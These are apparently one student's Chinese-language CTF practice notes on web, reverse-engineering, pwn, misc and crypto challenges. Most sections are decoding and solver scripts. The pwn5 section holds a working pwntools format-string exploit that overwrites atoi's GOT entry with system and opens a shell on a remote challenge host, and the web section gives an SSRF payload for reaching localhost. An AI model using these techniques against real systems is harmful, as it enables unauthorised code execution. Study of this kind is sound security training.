WEB
1.7:bugku没人比我更懂正则
注释提示:要进flag.php
读代码:拼接zero和first两个变量
不能出现..和flag,\056\160\150\x70(匹配的应该是.php),substr()去掉了first的前5个字符一直做不对,再认真读:"\"转义符在"|"前面,就不是“或"的作用了,是匹配了字符串”|.php“
1.8:bugku本地管理员
先看源代码,获得账户密码admin:test123,登录不进去
提示本地管理员:
1.9 ssrfme
(函数:获取参数中的正确格式的host,要求符合红色的4个ip)
?url=http://127.0.0.0/flag.php/
RE
1签退
后缀.pyc,和.py很像,可是改后缀打不开,010查看了一下,有很多python的内容
百度后缀,知道要先反编译;
打开py文件
代码处理顺序——base64,凯撒2位
逆向操作——凯撒24位,base64出flag
2game
进入三个函数:三关游戏都得到1分(成功)
函数一:
读取输入
与字符串guess666作比较
函数二:
3行3列互不相等的数独
函数三:
起点(1,1),终点(31,19)的迷宫
shift+E提取迷宫
以为常规操作,结果怎么做都做不出来
——问题出在了:最后那个函数(等我再研究研究,就是被一行自增控住了)
3easyre
熟悉写简单的python
v8 = "ebmarah"
v9 = ":\"AL_RT^L*.?+6/46"
v7 = 7
flag = ""
for i in range(0,len(v9)):
flag += chr(ord(v8[i%v7]) ^ ord(v9[i]))
print(flag)
PWN
1数学99
三个题:
#int类型最大就2**31-1,利用溢出
1加法:整数溢出,直接a=8,b=2**32-1
2乘法:也是整数溢出,直接因数分解2**32
3除法:浮点溢出错误,a=-2**32,b=-1
2(动态调试)
运行程序就提示找不到LICENSE
IDA这题直接图形模式,F2下断点,F9运行跟着分支走
——要存在一个文件,并对文件的字数和内容做了点要求,满足就好
再运行程序就给出了flag
3pwn5
read()写了大小63(小于100),不存在栈溢出漏洞
printf()没写类型,利用格式化漏洞。尝试:
利用格式化字符串漏洞,篡改atoi的GOT表地址修改为system函数的地址
#pwntools里的fmtstr_payload函数:用来简化格式化字符串的构造
from pwn import *
#context.log_level = "DEBUG"
ifRemote = 1
if ifRemote:
p = remote("node4.buuoj.cn",26480)
else:
p = process("./pwn")
elf = ELF('./pwn')
atoi_got = elf.got['atoi']
system_sym = elf.sym['system']
print("atoi_got:",hex(atoi_got))
print("system_sym:",hex(system_sym))
payload=fmtstr_payload(10,{atoi_got:system_sym})
p.sendline(payload)
p.sendline(b'/bin/sh\x00')
p.interactive()
MISC:
1(salted)
base64解密,开头就是salted(AES DES RC4 Rabbit TripleDes)
试了试是Rabbit
全是大写,base32解码;python转字符
hex_string=''
flag_string= ''.join(chr(int(hex_string[i:i+2], 16)) for i in range(0, len(hex_string), 2))
print(flag_string)
2碑寺64卦
文件头前面有东西,恢复,查看图片
每个卦由六横组成:阳1,阴0
每六个二进制转为十进制(正在尝试以后用pyhton自动截取自动读...)
(数字从5到56)对照base64码表,再解base64
3(博多式电报机——博多码)
不止有摩斯密码
4misc1_共婵娟
破解zip
提示,都要是数字,long是指什么:
是long类型进行bytes_to_long操作(F)
直接的26字母表:A-1 B-2...
图片foremost,图片找密码
(以后怎么能够从第一步就找到所有hid)
改高操作
流量分析
全是USB协议
USB键盘流量数据分析与键盘按键值解码-CSDN博客
【流量分析】USB键盘与鼠标流量分析_ctf usb流量分析-CSDN博客
kali下提取len=35指令:
tshark -r mysterious.pcapng -T fields -e usb.capdata -Y frame.len==35 >1.txt
base解码
前半段是base64,后半段不是
想办法分开,尝试先把==结尾的base64分开,
再对后半部分尝试解码,确实都不是base64,没有等号有小写,尝试base58解码
emoji解密
base解码
还是没有=,有小写,但有I字母,不满足base58,base64解码
仿射密码
6 9 12...
5misc2_洗寰瀛
6misc3_人生由命
7附加misc_问青天
8散乱的密码
lf5{ag024c483549d7fd@@1} 一张纸条上凌乱的写着2 1 6 5 3 4
顺着一行一行排在六个数字下面
按123456列重排
9MRCTF2020_你能看懂音符吗
010查看,标识头错误修复
使用binwalk,音符解密https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=yinyue
CRYPTO
1.小蓝鲨的方程
步骤和RSA一样,最后多了一步怎么求得指数:
(1+x)的n次方,拆n+1项就可以把n解出来的
2.大牛的密码
3.BUUCTF_Crypto题目:救世捷径
单源点最短路径算法:dijstra算法
找个脚本
graph=[]
for i in range(27):
graph.append([]) #在一个list中放27个list,索引0-26
for i in range(27):
for j in range(27):
graph[i].append(0xffff) #先将图中各个顶点之间的距离初始化为一个比较大的数
f=open('./Downloads/dij.txt','r').readlines() #按行读取,每行内容是list中的一个元素,全部内容组成一个整体的list
#这里需要先手动将txt文件中的最后一行换行去掉否则会多一个'\n'
#print(f)
li=[]
for x in f:
li.append(x.strip().split(' ')) #strip()删除字符串前后空格,这里是去掉了最后的换行符'\n',然后再按' '分割每行的每个元素,原本在同一子list中的一行元素也彼此独立出来
#print(li)
for x in li:
graph[int(x[0])][int(x[1])]=int(x[2])
graph[int(x[1])][int(x[0])]=int(x[2])
def try_dijstra():
min_d=[0xffff for i in range(27)] #记录点i到起点1的最短距离
route=[1 for i in range(27)] #记录前驱顶点
isSure=[0 for i in range(27)] #记录各点到起点距离是否已经确定
for i in range(2,27):
min_d[i]=graph[i][1] #初始化一下能直连1的顶点和1的距离
min_d[1]=0
isSure[1]=1
for i in range(26):
min=0xfffff
temp=-1
for j in range(2,27): # 找到当前离顶点1最近的顶点加入已经确定的“顶点阵营”
if isSure[j]==0 and min>min_d[j]:
min=min_d[j]
temp=j
isSure[temp]=1
for j in range(2,27):# 判断从顶点1开始,在经过该顶点后,再到达其邻接顶点的距离,是否比其邻接顶点原本到顶点1的距离更近,如果更近就更新最短距离
if min_d[j]>min_d[temp]+graph[temp][j]:
min_d[j]=min_d[temp]+graph[temp][j]
route[j]=temp
return (route,min_d)
route,min_d=try_dijstra()
print(min_d[26]) #最短距离
print(route) #前驱顶点
passv=[] #存放顶点之间的“内容”(内容最后要组成flag
for i in range(27):
passv.append([]) # 还是在一个list中放27个list
for i in range(27):
for j in range(27):
passv[i].append(0) #需要将内部list中初始化出27个“位置”否则会报错索引越界
for x in li:
passv[int(x[0])][int(x[1])]=x[3]
passv[int(x[1])][int(x[0])]=x[3]
y=26
l=[]
while y!=1:
print(y) #输出终点到起点的最短路径经过的顶点
l.append(passv[y][route[y]]) #y到其前驱顶点route[y]之间的内容
y=route[y]
print()
l=l[::-1]
for i in range(len(l)):
print(l[i],end='')